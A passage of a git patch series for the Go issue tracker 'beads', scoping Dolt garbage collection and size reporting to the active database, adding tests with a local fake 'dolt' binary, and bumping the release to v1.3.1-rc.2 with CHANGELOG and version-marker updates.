-798,7 +838,9 @@ func runCompactDolt() error { } fmt.Printf("DRY RUN - Dolt garbage collection\n\n") fmt.Printf("Dolt directory: %s\n", doltPath) - fmt.Printf("Current size: %s\n", formatBytes(sizeBefore)) + if sizeBefore >= 0 { + fmt.Printf("Current size: %s\n", formatBytes(sizeBefore)) + } fmt.Printf("\nRun without --dry-run to perform garbage collection.\n") return nil } @@ -839,28 +881,32 @@ func runCompactDolt() error { return SilentExit() } - // Get size after GC - sizeAfter, err := getDirSize(doltPath) - if err != nil { - fmt.Fprintf(os.Stderr, "Warning: could not calculate directory size after GC: %v\n", err) - sizeAfter = 0 - } + // Measure the same active-database scope after GC. + sizeAfter := storeSizeBytes(ctx) elapsed := time.Since(start) - freed := sizeBefore - sizeAfter - if freed < 0 { - freed = 0 // GC may not always reduce size - } if jsonOutput { + // Preserve compact's legacy size_before/size_after field names; + // addGCSizeJSON uses a different schema and is not interchangeable. result := map[string]interface{}{ - "success": true, - "dolt_path": doltPath, - "size_before": sizeBefore, - "size_after": sizeAfter, - "freed_bytes": freed, - "freed_display": formatBytes(freed), - "elapsed_ms": elapsed.Milliseconds(), + "success": true, + "dolt_path": doltPath, + "elapsed_ms": elapsed.Milliseconds(), + } + if sizeBefore >= 0 { + result["size_before"] = sizeBefore + } + if sizeAfter >= 0 { + result["size_after"] = sizeAfter + } + if sizeBefore >= 0 && sizeAfter >= 0 { + freed := sizeBefore - sizeAfter + if freed < 0 { + freed = 0 // GC may not always reduce size + } + result["freed_bytes"] = freed + result["freed_display"] = formatBytes(freed) } if err := outputJSON(result); err != nil { fmt.Fprintf(os.Stderr, "Error: %v\n", err) @@ -869,7 +915,9 @@ func runCompactDolt() error { } fmt.Printf("✓ Dolt garbage collection complete\n") - fmt.Printf(" %s → %s (freed %s)\n", formatBytes(sizeBefore), formatBytes(sizeAfter), formatBytes(freed)) + if line := gcSizeLine(sizeBefore, sizeAfter); line != "" { + fmt.Printf(" %s\n", line) + } fmt.Printf(" Time: %v\n", elapsed) return nil } @@ -897,21 +945,6 @@ func isUnknownArchiveLevelFlagError(output string) bool { strings.Contains(lower, "flag provided but not defined") } -// getDirSize calculates the total size of a directory recursively -func getDirSize(path string) (int64, error) { - var size int64 - err := filepath.Walk(path, func(_ string, info os.FileInfo, err error) error { - if err != nil { - return err - } - if !info.IsDir() { - size += info.Size() - } - return nil - }) - return size, err -} - // formatBytes formats a byte count as a human-readable string func formatBytes(b int64) string { const unit = 1024 @@ -962,7 +995,7 @@ func init() { compactCmd.Flags().StringVar(&compactSummary, "summary", "", "Path to summary file (use '-' for stdin)") compactCmd.Flags().StringVar(&compactActor, "actor", "agent", "Actor name for audit trail") compactCmd.Flags().IntVar(&compactLimit, "limit", 0, "Limit number of candidates (0 = no limit)") - compactCmd.Flags().BoolVar(&compactDolt, "dolt", false, "Dolt mode: run Dolt garbage collection on .beads/dolt") + compactCmd.Flags().BoolVar(&compactDolt, "dolt", false, "Dolt mode: run Dolt garbage collection on the active database") // Note: compactCmd is added to adminCmd in admin.go } diff --git a/cmd/bd/compact_gc_size_test.go b/cmd/bd/compact_gc_size_test.go new file mode 100644 index 000000000..03f30674c --- /dev/null +++ b/cmd/bd/compact_gc_size_test.go @@ -0,0 +1,88 @@ +package main + +import ( + "encoding/json" + "os" + "path/filepath" + "strings" + "testing" + + "github.com/steveyegge/beads/internal/storage" +) + +func TestRunCompactDoltDryRunUsesActiveDatabaseSizer(t *testing.T) { + output := runCompactDoltDryRunForTest(t, &gcSizeStoreStub{size: 42}, true) + + var result map[string]interface{} + if err := json.Unmarshal([]byte(output), &result); err != nil { + t.Fatalf("decode dry-run JSON: %v\noutput: %s", err, output) + } + if got := result["size_before"]; got != float64(42) { + t.Fatalf("size_before = %#v, want 42 from ActiveDatabaseSizer", got) + } + if got := result["size_display"]; got != "42 B" { + t.Fatalf("size_display = %#v, want %q", got, "42 B") + } +} + +func TestRunCompactDoltDryRunOmitsUnsupportedSize(t *testing.T) { + unsupported := &gcSizeStoreStub{err: &storage.ErrUnsupported{ + Op: "ActiveDatabaseSize", + Backend: "external", + }} + + t.Run("JSON", func(t *testing.T) { + output := runCompactDoltDryRunForTest(t, unsupported, true) + var result map[string]interface{} + if err := json.Unmarshal([]byte(output), &result); err != nil { + t.Fatalf("decode dry-run JSON: %v\noutput: %s", err, output) + } + for _, key := range []string{"size_before", "size_display"} { + if got, ok := result[key]; ok { + t.Fatalf("unsupported measurement emitted %s=%#v", key, got) + } + } + }) + + t.Run("text", func(t *testing.T) { + output := runCompactDoltDryRunForTest(t, unsupported, false) + if strings.Contains(output, "Current size:") { + t.Fatalf("unsupported measurement emitted a text size line:\n%s", output) + } + if !strings.Contains(output, "Run without --dry-run") { + t.Fatalf("dry-run completion guidance missing:\n%s", output) + } + }) +} + +func runCompactDoltDryRunForTest(t *testing.T, candidate storage.DoltStorage, asJSON bool) string { + t.Helper() + + oldStore, oldDryRun, oldJSON := store, compactDryRun, jsonOutput + t.Cleanup(func() { + store, compactDryRun, jsonOutput = oldStore, oldDryRun, oldJSON + }) + + beadsDir := filepath.Join(t.TempDir(), ".beads") + doltDir := filepath.Join(beadsDir, "dolt") + if err := os.MkdirAll(doltDir, 0o755); err != nil { + t.Fatalf("create shared Dolt root: %v", err) + } + // This sibling-root content makes the old recursive-walk behavior return a + // value distinct from the fake active database measurement. + if err := os.WriteFile(filepath.Join(doltDir, "sibling-data"), make([]byte, 128), 0o644); err != nil { + t.Fatalf("seed sibling data: %v", err) + } + t.Setenv("BEADS_DIR", beadsDir) + + active := filepath.Join(doltDir, "active") + if err := os.Mkdir(active, 0o755); err != nil { + t.Fatal(err) + } + store = &compactGCStoreStub{DoltStorage: candidate, directory: active} + compactDryRun = true + jsonOutput = asJSON + return captureStdout(t, func() error { + return runCompactDolt(t.Context()) + }) +} diff --git a/cmd/bd/compact_gc_target_test.go b/cmd/bd/compact_gc_target_test.go new file mode 100644 index 000000000..575af9c5b --- /dev/null +++ b/cmd/bd/compact_gc_target_test.go @@ -0,0 +1,325 @@ +package main + +import ( + "context" + "encoding/json" + "os" + "os/exec" + "path/filepath" + "reflect" + "runtime" + "strings" + "testing" + + "github.com/steveyegge/beads/internal/beads" + "github.com/steveyegge/beads/internal/hooks" + "github.com/steveyegge/beads/internal/storage" +) + +type compactGCStoreStub struct { + storage.DoltStorage + directory string + err error +} + +func (s *compactGCStoreStub) ExternalGCPath(context.Context) (string, error) { + return s.directory, s.err +} + +func (s *compactGCStoreStub) ActiveDatabaseSize(ctx context.Context) (int64, error) { + if sizer, ok := s.DoltStorage.(storage.ActiveDatabaseSizer); ok { + return sizer.ActiveDatabaseSize(ctx) + } + return 0, &storage.ErrUnsupported{Op: "ActiveDatabaseSize", Backend: "fixture"} +} + +func TestRunCompactDoltTargetsOnlyAuthorizedActiveDatabase(t *testing.T) { + clearTelemetryEnv(t) + t.Setenv("BD_JSON_ENVELOPE", "0") + toolDir := buildCompactGCFixture(t) + // wantBackend pins which ErrUnsupported.Backend the refusal names, which is + // the only observable that distinguishes "the active store refused" (the + // store's own "external" sentinel, reached through storage.UnwrapStore) from + // "the interface assertion missed" ("active store"). Both render the same + // top-level message, so the *through decorators* rows are vacuous for the + // decorator claim without it. + // + // Known residual: "unsupported dry run through decorators" still cannot + // discriminate. Its benign dry-run preview is byte-identical for both error + // origins and carries no backend, so no CLI-level assertion distinguishes + // them; the non-dry-run decorator row is what pins that path. + for _, tc := range []struct { + name, mode, pathKind string + shared, dry, unsupported bool + decorated bool + plain, envelope bool + calls int + wantErr bool + wantMessage string + wantBackend string + wantHint string + }{ + {name: "owned active", calls: 1}, + {name: "shared active despite stale project root", shared: true, calls: 1}, + {name: "owned active through decorators", decorated: true, calls: 1}, + {name: "shared active through decorators", decorated: true, shared: true, calls: 1}, + {name: "older CLI fallback", mode: "fallback", calls: 2}, + {name: "real failure is not retried", mode: "failure", calls: 1, wantErr: true}, + {name: "dry run", dry: true}, + {name: "unsupported with plausible local path", unsupported: true, wantErr: true, wantBackend: "external"}, + {name: "unsupported text output", unsupported: true, plain: true, wantErr: true, wantBackend: "external"}, + {name: "unsupported enveloped output", unsupported: true, envelope: true, wantErr: true, wantBackend: "external"}, + {name: "unsupported dry run", unsupported: true, dry: true}, + {name: "unsupported through decorators", decorated: true, unsupported: true, wantErr: true, wantBackend: "external"}, + {name: "unsupported dry run through decorators", decorated: true, unsupported: true, dry: true}, + {name: "cancelled before the active database is resolved", pathKind: "cancelled", wantErr: true, + wantMessage: "external Dolt garbage collection was interrupted", wantHint: "Re-run 'bd admin compact --dolt'"}, + {name: "cancelled in dry run", pathKind: "cancelled", dry: true, wantErr: true, + wantMessage: "external Dolt garbage collection was interrupted", wantHint: "Re-run 'bd admin compact --dolt'"}, + {name: "deadline exceeded before the active database is resolved", pathKind: "deadline", wantErr: true, + wantMessage: "external Dolt garbage collection was interrupted", wantHint: "Re-run 'bd admin compact --dolt'"}, + {name: "size capability is insufficient", pathKind: "size-only", wantErr: true, wantBackend: "active store"}, + {name: "general locator is insufficient", pathKind: "locator-only", wantErr: true, wantBackend: "active store"}, + {name: "missing declared path", pathKind: "missing", wantErr: true, wantMessage: "active Dolt database directory is unavailable"}, + {name: "missing declared path in dry run", pathKind: "missing", dry: true, wantErr: true, wantMessage: "active Dolt database directory is unavailable"}, + {name: "file is not a database directory", pathKind: "file", wantErr: true, wantMessage: "is not a directory"}, + {name: "empty declared path", pathKind: "empty", wantErr: true, wantMessage: "requires an absolute active database directory"}, + {name: "relative declared path", pathKind: "relative", wantErr: true, wantMessage: "requires an absolute active database directory"}, + } { + t.Run(tc.name, func(t *testing.T) { + oldStore, oldDry, oldJSON := store, compactDryRun, jsonOutput + beads.ResetCaches() + t.Cleanup(func() { store, compactDryRun, jsonOutput = oldStore, oldDry, oldJSON; beads.ResetCaches() }) + project := t.TempDir() + beadsDir := filepath.Join(project, ".beads") + stale := filepath.Join(beadsDir, "dolt") + root := stale + if tc.shared { + root = filepath.Join(t.TempDir(), "central", "dolt") + } + active := filepath.Join(root, "active") + sibling := filepath.Join(root, "sibling") + for _, dir := range []string{stale, active, sibling} { + if err := os.MkdirAll(dir, 0o700); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(filepath.Join(dir, "keep"), []byte("unchanged"), 0o600); err != nil { + t.Fatal(err) + } + } + t.Setenv("BEADS_DIR", beadsDir) + t.Setenv("PATH", toolDir+string(os.PathListSeparator)+os.Getenv("PATH")) + logPath := filepath.Join(t.TempDir(), "calls.jsonl") + t.Setenv("BEADS_COMPACT_GC_FIXTURE_LOG", logPath) + t.Setenv("BEADS_COMPACT_GC_FIXTURE_MODE", tc.mode) + candidate := &compactGCStoreStub{DoltStorage: &gcSizeStoreStub{size: 42}, directory: active} + if tc.unsupported { + candidate.err = &storage.ErrUnsupported{Op: "ExternalGCPath", Backend: "external"} + } + store = candidate + switch tc.pathKind { + case "size-only": + store = &gcSizeStoreStub{size: 42} + case "locator-only": + store = &gcLocatorOnlyStoreStub{path: active} + case "missing": + candidate.directory = filepath.Join(root, "missing") + case "file": + candidate.directory = filepath.Join(active, "keep") + case "empty": + candidate.directory = "" + case "relative": + candidate.directory = "relative-database" + case "cancelled": + // What the real DoltStore.ExternalGCPath returns for a cancelled + // ctx: the bare context error, not an ErrUnsupported. + candidate.err = context.Canceled + case "deadline": + candidate.err = context.DeadlineExceeded + } + if tc.decorated { + t.Setenv("BD_OTEL_STDOUT", "true") + store = wireStorageDecorators(store, hooks.NewRunner(filepath.Join(project, "missing-hooks")), false) + if storage.UnwrapStore(store) != candidate { + t.Fatal("production decorator chain lost the active store") + } + } + compactDryRun, jsonOutput = tc.dry, !tc.plain + if tc.envelope { + t.Setenv("BD_JSON_ENVELOPE", "1") + } + var runErr error + var output string + if tc.wantErr { + output = captureStderr(t, func() { runErr = runCompactDolt(t.Context()) }) + } else { + output = captureStdout(t, func() error { runErr = runCompactDolt(t.Context()); return nil }) + } + if (runErr != nil) != tc.wantErr { + t.Fatalf("runCompactDolt error = %v, wantErr %v", runErr, tc.wantErr) + } + if tc.wantErr { + if code, ok := exitCodeFromError(runErr); !ok || code != 1 { + t.Fatalf("refusal exit code = %d, recognized %v; error %v", code, ok, runErr) + } + } + if tc.wantErr && tc.mode != "failure" { + message, hint := output, output + if tc.plain { + if !strings.HasPrefix(output, "Error: ") || !strings.Contains(output, "\nHint: ") { + t.Fatalf("missing text error/hint: %q", output) + } + } else { + var result map[string]interface{} + if err := json.Unmarshal([]byte(output), &result); err != nil { + t.Fatalf("error stderr is not JSON: %v: %s", err, output) + } + if result["schema_version"] != float64(JSONSchemaVersion) { + t.Fatalf("missing error schema version: %v", result) + } + if tc.envelope { + var ok bool + result, ok = result["data"].(map[string]interface{}) + if !ok { + t.Fatalf("missing error envelope data: %s", output) + } + } + message, _ = result["error"].(string) + hint, _ = result["hint"].(string) + } + wantMessage := tc.wantMessage + if wantMessage == "" { + wantMessage = "cannot select a local database for external Dolt garbage collection" + } + wantHint := tc.wantHint + if wantHint == "" { + wantHint = "bd doctor" + } + if !strings.Contains(message, wantMessage) || !strings.Contains(hint, wantHint) { + t.Fatalf("refusal lost its cause or actionable hint: %s", output) + } + // A cancellation must not be dressed as a permanent authority + // refusal: neither the refusal message nor its four-cause hint may + // appear, in dry-run or otherwise. + if tc.pathKind == "cancelled" || tc.pathKind == "deadline" { + for _, forbidden := range []string{"cannot select a local database", "BEADS_DOLT_SERVER_PORT", "server administrator"} { + if strings.Contains(message, forbidden) || strings.Contains(hint, forbidden) { + t.Errorf("cancellation reported as an authority refusal (%q present): %s", forbidden, output) + } + } + } + if tc.wantBackend != "" { + wantBackend := "not supported by the " + tc.wantBackend + " backend" + if !strings.Contains(message, wantBackend) { + t.Errorf("refusal names the wrong origin: want %q in %q", wantBackend, message) + } + } + if tc.unsupported { + for _, condition := range []string{"BEADS_DOLT_SERVER_PORT", "BEADS_DOLT_PORT", "auto-start", "external", "gateway", "proxied", "socket", "TLS", "server administrator"} { + if !strings.Contains(hint, condition) { + t.Errorf("unsupported hint omits %q: %s", condition, hint) + } + } + } + } + data, err := os.ReadFile(logPath) + if err != nil && !os.IsNotExist(err) { + t.Fatal(err) + } + var calls []struct { + Dir string + Args []string + } + for _, line := range strings.Split(strings.TrimSpace(string(data)), "\n") { + if line == "" { + continue + } + var call struct { + Dir string + Args []string + } + if err := json.Unmarshal([]byte(line), &call); err != nil { + t.Fatal(err) + } + calls = append(calls, call) + } + if len(calls) != tc.calls { + t.Fatalf("external GC calls = %v, want %d", calls, tc.calls) + } + for i, call := range calls { + wantArgs := []string{"gc", "--archive-level", "0"} + if i == 1 { + wantArgs = []string{"gc"} + } + gotInfo, err := os.Stat(call.Dir) + if err != nil { + t.Fatal(err) + } + wantInfo, err := os.Stat(active) + if err != nil { + t.Fatal(err) + } + if !os.SameFile(gotInfo, wantInfo) || !reflect.DeepEqual(call.Args, wantArgs) { + t.Fatalf("GC call = %+v, want directory %q, args %v", call, active, wantArgs) + } + } + for _, dir := range []string{stale, active, sibling} { + data, err := os.ReadFile(filepath.Join(dir, "keep")) + if err != nil || string(data) != "unchanged" { + t.Fatalf("changed sentinel in %q: %q, %v", dir, data, err) + } + _, err = os.Stat(filepath.Join(dir, "gc-ran")) + wantMarker := dir == active && tc.calls > 0 && !tc.wantErr + if (err == nil) != wantMarker { + t.Fatalf("GC marker in %q: %v, want marker %v", dir, err, wantMarker) + } + } + if !tc.wantErr { + var result map[string]interface{} + if err := json.Unmarshal([]byte(output), &result); err != nil { + t.Fatalf("JSON: %v: %s", err, output) + } + if tc.unsupported { + _, hasDoltPath := result["dolt_path"] + if result["available"] != false || hasDoltPath { + t.Fatalf("unsupported target was guessed: %v", result) + } + } else if result["dolt_path"] != active || result["size_before"] != float64(42) { + t.Fatalf("reported scope = %v, want active %q and size42", result, active) + } + } + }) + } +} + +func buildCompactGCFixture(t *testing.T) string { + t.Helper() + dir := t.TempDir() + const source = `package main +import ("encoding/json"; "fmt"; "os") +func main() { + dir, err := os.Getwd(); if err != nil { panic(err) } + log, err := os.OpenFile(os.Getenv("BEADS_COMPACT_GC_FIXTURE_LOG"), os.O_CREATE|os.O_APPEND|os.O_WRONLY, 0600); if err != nil { panic(err) } + if err := json.NewEncoder(log).Encode(struct { Dir string; Args []string }{dir, os.Args[1:]}); err != nil { panic(err) }; if err := log.Close(); err != nil { panic(err) } + mode := os.Getenv("BEADS_COMPACT_GC_FIXTURE_MODE") + if mode == "fallback" && len(os.Args) == 4 { fmt.Fprintln(os.Stderr, "unknown flag: --archive-level"); os.Exit(23) } + if mode == "failure" { fmt.Fprintln(os.Stderr, "genuine GC failure"); os.Exit(23) } + if err := os.WriteFile("gc-ran", []byte("collected"), 0600); err != nil { panic(err) } +} +` + path := filepath.Join(dir, "fixture.go") + if err := os.WriteFile(path, []byte(source), 0o600); err != nil { + t.Fatal(err) + } + name := "dolt" + if runtime.GOOS == "windows" { + name += ".exe" + } + cmd := exec.Command("go", "build", "-o", filepath.Join(dir, name), path) + cmd.Dir = dir + cmd.Env = append(os.Environ(), "CGO_ENABLED=0", "GOWORK=off") + if output, err := cmd.CombinedOutput(); err != nil { + t.Fatalf("build owned GC fixture: %v\n%s", err, output) + } + return dir +} diff --git a/cmd/bd/flatten.go b/cmd/bd/flatten.go index 9261e1001..c671f7210 100644 --- a/cmd/bd/flatten.go +++ b/cmd/bd/flatten.go @@ -39,7 +39,7 @@ This is irreversible — all commit history is lost. The resulting database has exactly one commit containing all current data. Use this when: - - Your .beads/dolt directory has grown very large + - Your active database has grown very large - You don't need commit-level history (time travel) - You want to start fresh with minimal storage diff --git a/internal/storage/dolt/BUILD.bazel b/internal/storage/dolt/BUILD.bazel index c57f49d5b..62b252c87 100644 --- a/internal/storage/dolt/BUILD.bazel +++ b/internal/storage/dolt/BUILD.bazel @@ -212,6 +212,7 @@ go_test( "events_since_test.go", "events_test.go", "expected_revision_contract_test.go", + "external_gc_path_test.go", "federation_pull_settle_test.go", "federation_test.go", "field_length_test.go", diff --git a/internal/storage/dolt/external_gc_path_test.go b/internal/storage/dolt/external_gc_path_test.go new file mode 100644 index 000000000..93000478a --- /dev/null +++ b/internal/storage/dolt/external_gc_path_test.go @@ -0,0 +1,42 @@ +package dolt + +import ( + "errors" + "path/filepath" + "testing" + + "github.com/steveyegge/beads/internal/storage" +) + +func TestDoltStoreExternalGCPathKeepsInstanceAuthority(t *testing.T) { + clearSizingModeEnv(t) + beadsDir := t.TempDir() + cfg := &Config{Path: filepath.Join(beadsDir, "dolt"), BeadsDir: beadsDir, Database: "active", ServerHost: "localhost", AutoStart: true} + owned := &DoltStore{localActiveDatabaseDir: resolveLocalActiveDatabaseDir(cfg)} + wantOwned := filepath.Join(cfg.Path, "active") + t.Setenv("BEADS_DOLT_SERVER_PORT", "44001") + external := &DoltStore{dbPath: cfg.Path, database: cfg.Database, localActiveDatabaseDir: resolveLocalActiveDatabaseDir(cfg)} + t.Setenv("BEADS_DOLT_SERVER_PORT", "") + sharedRoot := t.TempDir() + t.Setenv("BEADS_DOLT_SHARED_SERVER", "1") + t.Setenv("BEADS_SHARED_SERVER_DIR", sharedRoot) + shared := &DoltStore{localActiveDatabaseDir: resolveLocalActiveDatabaseDir(cfg)} + wantShared := filepath.Join(sharedRoot, "dolt", "active") + for _, mode := range []string{"", "1"} { + t.Setenv("BEADS_DOLT_SHARED_SERVER", mode) + t.Setenv("BEADS_SHARED_SERVER_DIR", t.TempDir()) + for _, tc := range []struct { + store *DoltStore + want string + }{{owned, wantOwned}, {shared, wantShared}} { + if got, err := tc.store.ExternalGCPath(t.Context()); err != nil || got != tc.want { + t.Fatalf("ExternalGCPath = %q, %v; want captured %q", got, err, tc.want) + } + } + got, err := external.ExternalGCPath(t.Context()) + var unsupported *storage.ErrUnsupported + if got != "" || !errors.As(err, &unsupported) { + t.Fatalf("external instance gained local GC authority: %q, %v", got, err) + } + } +} diff --git a/internal/storage/dolt/store.go b/internal/storage/dolt/store.go index fd3cfb8e7..0a83d6576 100644 --- a/internal/storage/dolt/store.go +++ b/internal/storage/dolt/store.go @@ -1762,6 +1762,17 @@ func resolveLocalActiveDatabaseDir(cfg *Config) string { // Owned mode plus effective auto-start authority is the affirmative proof // that the configured data root belongs to this local beads instance. + // + // The AutoStart conjunct is deliberate and is deliberately stricter than + // ownership alone: ResolveServerMode already decides ownership, so this + // clause is a fail-closed backstop that rides resolveAutoStart's own + // exclusions (it is forced false for ServerModeExternal and under + // BEADS_TEST_MODE=1). The accepted cost is that an owned workspace which + // sets "dolt.auto-start: false" and starts its server by hand is refused + // local external GC; the CLI hint names that remedy explicitly. Relaxing + // this to ResolveServerMode alone would widen GC authority and is a + // behavior change, not a cleanup — do not drop it without re-reviewing the + // test-mode and external-server paths above. if !cfg.AutoStart || doltserver.ResolveServerMode(cfg.BeadsDir) != doltserver.ServerModeOwned { return "" } @@ -3346,6 +3357,18 @@ func (s *DoltStore) ActiveDatabaseSize(ctx context.Context) (int64, error) { return size, nil } +// ExternalGCPath uses the local authority captured when this store was opened. +// Later environment changes or stale client-local paths cannot grant it. +func (s *DoltStore) ExternalGCPath(ctx context.Context) (string, error) { + if err := ctx.Err(); err != nil { + return "", err + } + if s.localActiveDatabaseDir == "" { + return "", &storage.ErrUnsupported{Op: "ExternalGCPath", Backend: "dolt-server"} + } + return s.localActiveDatabaseDir, nil +} + // DoltGC runs Dolt's default, generational garbage collection to reclaim disk // space. Pins a single connection to avoid session state loss on pooled *sql.DB. func (s *DoltStore) DoltGC(ctx context.Context) error { diff --git a/internal/storage/storage.go b/internal/storage/storage.go index bee323253..b6463055d 100644 --- a/internal/storage/storage.go +++ b/internal/storage/storage.go @@ -691,6 +691,14 @@ type ActiveDatabaseSizer interface { ActiveDatabaseSize(ctx context.Context) (int64, error) } +// ExternalGCLocator supplies the authoritative local working directory for +// the active database's external garbage-collection tool. Implementations +// return *ErrUnsupported when this instance cannot authorize that operation. +// Neither a readable size nor a general store path grants this capability. +type ExternalGCLocator interface { + ExternalGCPath(ctx context.Context) (string, error) +} + // GarbageCollector provides Dolt garbage collection capability. // Callers that need to reclaim disk space should type-assert to this interface. type GarbageCollector interface { From f83654b1186dd12462bc149f327fb7aa04058b28 Mon Sep 17 00:00:00 2001 From: Gas City Adopt-PR Date: Tue, 29 Sep 2026 16:08:20 +0000 Subject: [PATCH 236/624] release: prep v1.3.1-rc.2 RC bump per RELEASING.md "Cut an RC", on the #6593 model, cut on hotfix/1.3.1 (the owner's release branch for 1.3.1, cut from release/1.3.0). ./scripts/update-versions.sh 1.3.1-rc.2 stamps version.go, the plugin manifests, marketplace.json, npm package.json, the MCP pyproject/__init__/uv.lock (1.3.1rc2), default.nix, the .githooks markers and the winres strings; the PE numeric fields stay at the 1.3.1 base. ./scripts/check-versions.sh is green at 1.3.1-rc.2. CHANGELOG: a dated [1.3.1-rc.2] section covers everything since v1.3.1-rc.1: the five release/1.3.0 merges after rc.1 (#6653, #6659, #6695, #6547, #6652) and the hotfix batches (#6582, #6584, #6694, #6883, #6719, #6740+#6771, #6563+#6627, #6499, #6744, #6879, #6932-#6935, #6937, #6938, #6942). Entries parked under [Unreleased] and the post-rc.1 additions inside [1.3.1] move into it, with an upgrade-notes list of the behaviour changes. The two #6716 bullets are merged into one, the #6584 paragraph that said auto-backup was not wired now defers to the #6879 entry, and #6499, #6563/#6627 and #6547 get entries. The section rc.1 shipped as [1.3.1] is renamed [1.3.1-rc.1] with its body byte-identical to the v1.3.1-rc.1 tag, following the [1.1.0-rc.N] precedent; the final 1.3.1 prep creates [1.3.1]. [Unreleased] stays empty. cmd/bd/info.go: a 1.3.1-rc.2 digest at index 0 of versionChanges. Co-Authored-By: Claude Opus 5.5 --- .claude-plugin/marketplace.json | 2 +- .githooks/post-checkout | 4 +- .githooks/post-merge | 4 +- .githooks/pre-commit | 4 +- .githooks/pre-push | 4 +- .githooks/prepare-commit-msg | 4 +- CHANGELOG.md | 569 ++++++++++-------- cmd/bd/info.go | 25 + cmd/bd/version.go | 2 +- cmd/bd/winres/winres.json | 4 +- default.nix | 2 +- integrations/beads-mcp/pyproject.toml | 2 +- .../beads-mcp/src/beads_mcp/__init__.py | 2 +- integrations/beads-mcp/uv.lock | 2 +- npm-package/package.json | 2 +- plugins/beads/.claude-plugin/plugin.json | 2 +- plugins/beads/.codex-plugin/plugin.json | 2 +- plugins/beads/.copilot-plugin/plugin.json | 2 +- 18 files changed, 370 insertions(+), 268 deletions(-) diff --git a/.claude-plugin/marketplace.json b/.claude-plugin/marketplace.json index 575163c11..f8f85baf2 100644 --- a/.claude-plugin/marketplace.json +++ b/.claude-plugin/marketplace.json @@ -9,7 +9,7 @@ "name": "beads", "source": "./plugins/beads", "description": "AI-supervised issue tracker for coding workflows", - "version": "1.3.1-rc.1" + "version": "1.3.1-rc.2" } ] } diff --git a/.githooks/post-checkout b/.githooks/post-checkout index 3e06c7b41..af46d18a8 100755 --- a/.githooks/post-checkout +++ b/.githooks/post-checkout @@ -1,5 +1,5 @@ #!/usr/bin/env sh -# --- BEGIN BEADS INTEGRATION v1.3.1-rc.1 --- +# --- BEGIN BEADS INTEGRATION v1.3.1-rc.2 --- # This section is managed by beads. Do not remove these markers. if command -v bd >/dev/null 2>&1; then export BD_GIT_HOOK=1 @@ -56,4 +56,4 @@ if command -v bd >/dev/null 2>&1; then fi if [ "$_bd_exit" -ne 0 ]; then exit "$_bd_exit"; fi fi -# --- END BEADS INTEGRATION v1.3.1-rc.1 --- +# --- END BEADS INTEGRATION v1.3.1-rc.2 --- diff --git a/.githooks/post-merge b/.githooks/post-merge index 039402e0b..2c1d4a142 100755 --- a/.githooks/post-merge +++ b/.githooks/post-merge @@ -1,5 +1,5 @@ #!/usr/bin/env sh -# --- BEGIN BEADS INTEGRATION v1.3.1-rc.1 --- +# --- BEGIN BEADS INTEGRATION v1.3.1-rc.2 --- # This section is managed by beads. Do not remove these markers. if command -v bd >/dev/null 2>&1; then export BD_GIT_HOOK=1 @@ -56,4 +56,4 @@ if command -v bd >/dev/null 2>&1; then fi if [ "$_bd_exit" -ne 0 ]; then exit "$_bd_exit"; fi fi -# --- END BEADS INTEGRATION v1.3.1-rc.1 --- +# --- END BEADS INTEGRATION v1.3.1-rc.2 --- diff --git a/.githooks/pre-commit b/.githooks/pre-commit index a667ef2b0..4bb400076 100755 --- a/.githooks/pre-commit +++ b/.githooks/pre-commit @@ -40,7 +40,7 @@ if [ -n "$staged_go_files" ]; then echo "$staged_go_files" | xargs git add fi -# --- BEGIN BEADS INTEGRATION v1.3.1-rc.1 --- +# --- BEGIN BEADS INTEGRATION v1.3.1-rc.2 --- # This section is managed by beads. Do not remove these markers. if command -v bd >/dev/null 2>&1; then export BD_GIT_HOOK=1 @@ -97,4 +97,4 @@ if command -v bd >/dev/null 2>&1; then fi if [ "$_bd_exit" -ne 0 ]; then exit "$_bd_exit"; fi fi -# --- END BEADS INTEGRATION v1.3.1-rc.1 --- +# --- END BEADS INTEGRATION v1.3.1-rc.2 --- diff --git a/.githooks/pre-push b/.githooks/pre-push index 096439496..e732dc462 100755 --- a/.githooks/pre-push +++ b/.githooks/pre-push @@ -39,7 +39,7 @@ fi exec < <(printf '%s\n' "$push_refs") -# --- BEGIN BEADS INTEGRATION v1.3.1-rc.1 --- +# --- BEGIN BEADS INTEGRATION v1.3.1-rc.2 --- # This section is managed by beads. Do not remove these markers. if command -v bd >/dev/null 2>&1; then export BD_GIT_HOOK=1 @@ -96,4 +96,4 @@ if command -v bd >/dev/null 2>&1; then fi if [ "$_bd_exit" -ne 0 ]; then exit "$_bd_exit"; fi fi -# --- END BEADS INTEGRATION v1.3.1-rc.1 --- +# --- END BEADS INTEGRATION v1.3.1-rc.2 --- diff --git a/.githooks/prepare-commit-msg b/.githooks/prepare-commit-msg index 1c24adc7c..3bed11aa6 100755 --- a/.githooks/prepare-commit-msg +++ b/.githooks/prepare-commit-msg @@ -1,5 +1,5 @@ #!/usr/bin/env sh -# --- BEGIN BEADS INTEGRATION v1.3.1-rc.1 --- +# --- BEGIN BEADS INTEGRATION v1.3.1-rc.2 --- # This section is managed by beads. Do not remove these markers. if command -v bd >/dev/null 2>&1; then export BD_GIT_HOOK=1 @@ -56,4 +56,4 @@ if command -v bd >/dev/null 2>&1; then fi if [ "$_bd_exit" -ne 0 ]; then exit "$_bd_exit"; fi fi -# --- END BEADS INTEGRATION v1.3.1-rc.1 --- +# --- END BEADS INTEGRATION v1.3.1-rc.2 --- diff --git a/CHANGELOG.md b/CHANGELOG.md index bcffc2e42..314de4705 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -7,10 +7,57 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ## [Unreleased] +## [1.3.1-rc.2] - 2026-09-29 + +Second release candidate for 1.3.1, still a patch line on top of 1.3.0 with +**no schema migration**: upgrading from 1.3.0 or 1.3.1-rc.1 is a binary swap. +It adds the proxied-server `bd backup` family and opt-in auto-backup on +managed-local workspaces, a `bd purge` that can run an orchestrator's wisp +retention sweep, and fixes for the #6716 fan-in stall, partial batch closes, +`bd sql` result sets, `bd show --watch`, `bd types`, `BEADS_DIR` discovery and +proxy liveness, plus eleven fixes from `main` ([#6653](https://github.com/gastownhall/beads/pull/6653)) and the smart-gate +data-behind stop ([#6659](https://github.com/gastownhall/beads/pull/6659), [#6695](https://github.com/gastownhall/beads/pull/6695)). Engineering notes for embedders +reading proxied-server surfaces are in `engdocs/` ([#6652](https://github.com/gastownhall/beads/pull/6652)). + +### Upgrade notes + +These behaviour changes can affect scripts; each is detailed below. + +- `bd show --watch ` exits 1 when the id cannot be found (it used to exit + 0), on both the direct and proxied 